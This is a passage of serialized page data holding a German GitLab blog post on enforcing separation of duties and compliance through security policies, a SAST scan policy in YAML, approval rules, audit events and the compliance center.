beeinträchtigen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098232/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_479904468%20%281%29_4lmOEVlaXP0YC3hSFmOw6i_1750098232241.jpg","https://about.gitlab.com/blog/ensuring-compliance","\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"Artikel\",\n \"headline\": \"Mit GitLab Aufgabentrennung und Compliance sicherstellen\",\n \"author\": [{\"@type\":\"Person\",\"name\":\"Beatriz Barbosa\"},{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n \"datePublished\": \"2022-04-04\",\n }",{"title":1049,"description":1050,"authors":1055,"heroImage":1051,"date":1057,"body":1058,"category":14,"tags":1059,"updatedDate":1062},[1056,823],"Beatriz Barbosa","2022-04-04","In diesem Artikel erfährst du, wie du mit der DevSecOps-Plattform von GitLab die **Aufgabentrennung** und\n\ndie **kontinuierliche Compliance** sicherstellen kannst. Zunächst möchten wir jedoch zwei Schlüsselkonzepte klären:\n\n\n**Compliance** bedeutet, dass du die Richtlinien und Spezifikationen einhältst,\n\ndie entweder von deinem Unternehmen oder von einer Aufsichtsbehörde festgelegt wurden. Compliance trägt dazu bei, die\n\nUnternehmensethik, angemessene Benutzerrichtlinien, Sicherheitsstandards und vieles mehr für\n\ndie Sicherheit der Verbraucher(innen) aufrechtzuerhalten.\n\n\nDie Nichteinhaltung kann zu einer Reihe von Gerichts- und Anwaltskosten sowie Geldstrafen führen, daher ist es sehr wichtig, die Compliance aufrechtzuerhalten. DevSecOps-Teams müssen nicht nur die Compliance gewährleisten, sondern auch eine nachhaltige Entwicklungsgeschwindigkeit sicherstellen und die notwendige Einfachheit, Transparenz und Kontrolle bieten.\n\n\nDie **Aufgabentrennung** erfordert, dass mehrere Personen eine Aufgabe ausführen, um den Schutz vor Fehlern zu erhöhen und böswillige Aktivitäten zu verhindern. Die Aufgabentrennung stellt sicher, dass nur die Rollen, die für die Aufgabe am besten geeignet sind, diese auch ausführen können. Als Beispiel werden einige der folgenden\n\nAkteure und Akteurinnen betrachtet, die jeweils einen bestimmten Zweck erfüllen:\n\n\n- Ein(e) Entwickler(in) ist für die Entwicklung neuer Funktionen verantwortlich.\n\n-Ein(e) Beauftragte(r) für Compliance ist für die Erstellung und Durchsetzung der Nutzung einer Pipeline zuständig.\n\n- Ein(e) Anwendungssicherheitsingenieur(in) ist für die Genehmigung von Merge Requests mit Sicherheitslücken verantwortlich.\n\n\nUnter Berücksichtigung der oben genannten Rollen können wir sicherstellen, dass ein(e) Entwickler(in) eine laufende Pipeline nicht ändern kann.\n\nDiese Aufgabe kann nur von Beauftragten für Compliance durchgeführt werden, um sicherzustellen, dass nur konformer Code ohne Genehmigung gepusht werden kann.\n\n\nEin(e) Anwendungssicherheitsingenieur(in) ist dafür zuständig, Code mit Sicherheitslücken zu überprüfen und zu genehmigen, um sicherzustellen, dass eine ordnungsgemäße Risikominderung durchgeführt werden kann und in Zukunft keine Überraschungen mehr auftreten. In diesem Szenario können Entwickler(innen) Code erst dann zusammenführen, wenn die Compliance-\n\nund Sicherheitsanforderungen erfüllt sind.\n\n\n## Sicherheitsrichtlinien\n\nGitLab bietet **Sicherheitsrichtlinien**, die es Sicherheitsteams ermöglichen, die Ausführung von Sicherheitsscans gemäß einer Konfiguration zu fordern. So können Sicherheitsteams darauf vertrauen, dass die konfigurierten Scans nicht geändert oder deaktiviert wurden.\n\n\nSicherheitsrichtlinien können so festgelegt werden, dass sie bestimmte **Compliance Frameworks** erfüllen. Dies bedeutet, dass dein Projekt bestimmte Compliance-Anforderungen hat und zusätzliche Überwachung benötigt. Dieses Label kann unter **Sichern > Compliance Center > Frameworks** in deiner Hauptgruppe erstellt werden.\n\n\n![Compliance-Framework-Label (nur in englischer Sprache verfügbar)](https://about.gitlab.com/images/blogimages/compliance-04-2022/cf-step-2.png)\n\n\n**Hinweis:** Compliance-Label können nur Projekten innerhalb der Hauptgruppe zugewiesen werden, in der das Label erstellt wird.\n\n\nEs gibt drei Arten von Richtlinien (nur in englischer Sprache verfügbar): [Scan-Ausführungsrichtlinien](https://docs.gitlab.com/ee/user/application_security/policies/scan_execution_policies.html), [Merge-Request-Approvalrichtlinien](https://docs.gitlab.com/ee/user/application_security/policies/merge_request_approval_policies.html) und [Pipeline-Ausführungsrichtlinien](https://docs.gitlab.com/ee/user/application_security/policies/pipeline_execution_policies.html).\n\n\n* **Scan-Ausführungsrichtlinien:** Hier kannst du festlegen, dass Sicherheitsscans nach einem bestimmten Zeitplan oder zusammen mit der Projektpipeline ausgeführt werden.\n\n* **Merge-Request-Approvalrichtlinien:** Ergreife Maßnahmen auf der Grundlage von Scan-Ergebnissen, z. B. die Genehmigung durch das Sicherheitsteam, bevor ein Merge durchgeführt werden kann.\n\n* **Pipeline-Ausführungsrichtlinien:** Erzwinge CI/CD-Jobs für entsprechende Projekte.\n\n\nDiese Richtlinien können über den Richtlinien-Editor in wenigen einfachen Schritten konfiguriert werden.\n\n\n### Scan-Ausführung\n\n\n1. Gehe zu **Sicherheit & Compliance > Richtlinien**.\n\n\n2. Erstelle eine neue Richtlinie, indem du auf die Schaltfläche **Neue Richtlinie** klickst.\n\n\n3. Wähle **Scan-Ausführung** aus.\n\n\n4. Erstelle die Regel. Ich erstelle eine Regel, die erfordert, dass [SAST (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/application_security/sast/) konfiguriert ist, damit eine Pipeline ausgeführt werden kann.\n\n\n```yaml\n\nname: force_sast\n\ndescription: 'require sast to run'\n\nenabled: true\n\nrules:\n\n- type: pipeline branches: - main actions:\n\n- scan: sast\n\n```\n\n\n5. Reiche die Richtlinie ein, indem du einen Merge Request erstellst und dann den Merge ausführst.\n\n\nAlle Änderungen der Scan-Ausführungsrichtlinie werden über einen Hintergrundjob angewendet, der alle 10 Minuten ausgeführt wird.\n\nWarte bis zu 10 Minuten, bis alle für dieses Projekt festgelegten Richtlinienänderungen wirksam werden.\n\n\n6. Versuche, eine Pipeline auszuführen. Sie wird nur ausgeführt, wenn SAST in der YAML definiert ist.\n\n\n**Hinweis**: Du kannst SAST auch so einstellen, dass es nach einem Timer ausgeführt wird. Weitere Informationen findest du in der [Dokumentation (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) zu den\n\nScan-Ausführungsrichtlinien.\n\n\n### Merge-Request-Approval\n\n\n1. Gehe zu **Sichern > Richtlinien**.\n\n\n2. Erstelle eine neue Richtlinie, indem du auf die Schaltfläche **Neue Richtlinie** klickst.\n\n\n3. Wähle **Merge-Request-Approvalrichtlinien** aus.\n\n\n4. Definiere den Geltungsbereich der Richtlinie.\n\n\n5. Erstelle die Regel.\n\n\n![Aktualisierung der Aufgabentrennung – Bild 1 (nur in englischer Sprache verfügbar)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098241214.png)\n\n\n6. Füge die auszuführende Aktion hinzu.\n\n\n![Aktualisierung der Aufgabentrennung – Bild 2 (nur in englischer Sprache verfügbar)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098241215.png)\n\n\n**Hinweis:** Die Richtlinie wird gemäß den von dir festgelegten Regeln ausgewertet. Das bedeutet, dass eine Genehmigung erforderlich ist, wenn die Regeln ungültig sind oder nicht ausgewertet werden können. Um dies zu verhindern, kann das Feld für das Standard-Fallback-Verhalten auf `offen` geändert werden.\n\n\n![Aktualisierung der Aufgabentrennung – Bild 3 (nur in englischer Sprache verfügbar)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098241217.png)\n\n\n1. Reiche die Richtlinie ein, indem du einen Merge Request erstellst und dann den Merge ausführst.\n\n\n2. Erstelle einen separaten Merge Request mit Sicherheitslücken.\n\n\nWie du Sicherheitslücken hinzufügen kannst, erfährst du im Abschnitt „Entwickler-Workflow“ des DevSecOps-Workshops von GitLab.\n\n\n3. Überprüfe, ob die Merge-Request-Approvalrichtlinien angewendet werden, indem du den Merge Request anzeigst.\n\n\n### Pipeline-Ausführungsrichtlinie\n\n\nUm eine Pipeline-Ausführungsrichtlinie einzurichten, musst du zunächst ein Projekt erstellen, das die CI-Dateien enthält, die du ausführen möchtest. Stelle sicher, dass nur das Sicherheitsteam und/oder der bzw. die Administrator(in) Zugriff haben, um die Aufgabentrennung zu gewährleisten. Ich habe das Projekt „Compliance und Bereitstellung“ erstellt, das die YAML enthält, die ich durchsetzen möchte.\n\n\n1. Gehe zu **Sichern > Richtlinien**.\n\n\n2. Erstelle eine neue Richtlinie, indem du auf die Schaltfläche **Neue Richtlinie** klickst.\n\n\n3. Wähle **Pipeline-Ausführungsrichtlinie** aus.\n\n\n4. Definiere den Geltungsbereich der Richtlinie.\n\n\n5. Füge die auszuführende Aktion hinzu.\n\n\n![Aktualisierung der Aufgabentrennung – Bild 4 (nur in englischer Sprache verfügbar)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098241219.png)\n\n\n6. Füge Bedingungen hinzu.\n\n\n7. Reiche die Richtlinie ein, indem du einen Merge Request erstellst und dann den Merge ausführst.\n\n\n8. Versuche, eine Pipeline auszuführen. Du siehst die richtlinienspezifischen Jobs und Phasen in deiner Pipeline.\n\n\n## Auditmanagement und Compliance-Dashboard\n\n\nEin weiterer wichtiger Teil der Compliance ist das Wissen, dass sie in deinen Gruppen/Projekten tatsächlich stattfindet. GitLab verfügt über Audit-Ereignisse und Konformitätsberichte, die dich bei Audits unterstützen.\n\n\nMit **Audit Events** können GitLab-Eigentümer(innen) und -Administrator(innen) wichtige Ereignisse nachverfolgen, wie z. B. wer bestimmte Aktionen durchgeführt hat und wann sie stattgefunden haben.\n\n\n![Audit Events (nur in englischer Sprache verfügbar)](https://about.gitlab.com/images/blogimages/compliance-04-2022/project-audit-events.png)\n\n\nAudit Events zeichnen verschiedene Ereignisse pro Gruppe und pro Projekt auf, die\n\nin der Dokumentation zu [Audit Events (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/administration/audit_events.html) eingesehen werden können.\n\nDu kannst über **Sicherheit & Compliance > Audit Events** auf Audit Events zugreifen.\n\nEinige Beispiele sind:\n\n\n- Benutzer(in) wurde mit seinen oder ihren Berechtigungen dem Projekt hinzugefügt\n\n- Änderung der Berechtigungen einer Benutzerin bzw. eines Benutzers, der/die einem Projekt zugewiesen ist\n\n- Projekt-CI/CD-Variable wurde hinzugefügt, entfernt oder ihr geschützter Status geändert\n\n- Benutzer(in) wurde mit seinen oder ihren Berechtigungen der Gruppe hinzugefügt\n\n- Gruppenname oder -pfad wurde geändert\n\n\nAudit Events können auch mittels Audit-Event-Streaming an einen HTTP-Endpunkt gesendet werden. In diesem [Video (nur in englischer Sprache verfügbar](https://youtu.be/zHwVF9-i7e4?t=52) erfährst du, wie\n\ndu das Streaming von Audit Events implementierst.\n\n\nDie **Einhaltung von Standards** gibt dir die Möglichkeit, die Merge-Request-Aktivität einer Gruppe anzuzeigen. Sie bietet eine allgemeine Ansicht für alle Projekte in der Gruppe.\n\n\n![Aktualisierung der Aufgabentrennung – Bild 5 (nur in englischer Sprache verfügbar)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098241222.png)\n\n\nDu kannst den Bericht verwenden, um:\n\n- einen Überblick über die neuesten Merge Requests für jedes Projekt zu erhalten\n\n- zu sehen, ob und von wem Merge Requests genehmigt wurden\n\n- die Autor(inn)en von Merge Requests zu sehen\n\n- das neueste CI/CD-Pipeline-Ergebnis für jeden Merge Request zu sehen\n\n\nDer Bericht zur Einhaltung von Standards kann in der Hauptgruppe aufgerufen werden, indem du zu **Sichern > Compliance Center** gehst und die Registerkarte **Einhaltung von Standards** auswählst.\n\n\n---\n\n\nVielen Dank für deine Aufmerksamkeit! Weitere Informationen zur Aufgabentrennung in GitLab findest du unter [Kontinuierliche Software-Konformität mit GitLab](/solutions/compliance/)\n",[14,1060,1061,678],"CI","CD","2024-12-16",{"slug":1064,"featured":6,"template":683},"ensuring-compliance","content:de-de:blog:ensuring-compliance.yml","Ensuring Compliance","de-de/blog/ensuring-compliance.yml","de-de/blog/ensuring-compliance",2,[690,710,731,750,770,787,813,833,854],1758653895247]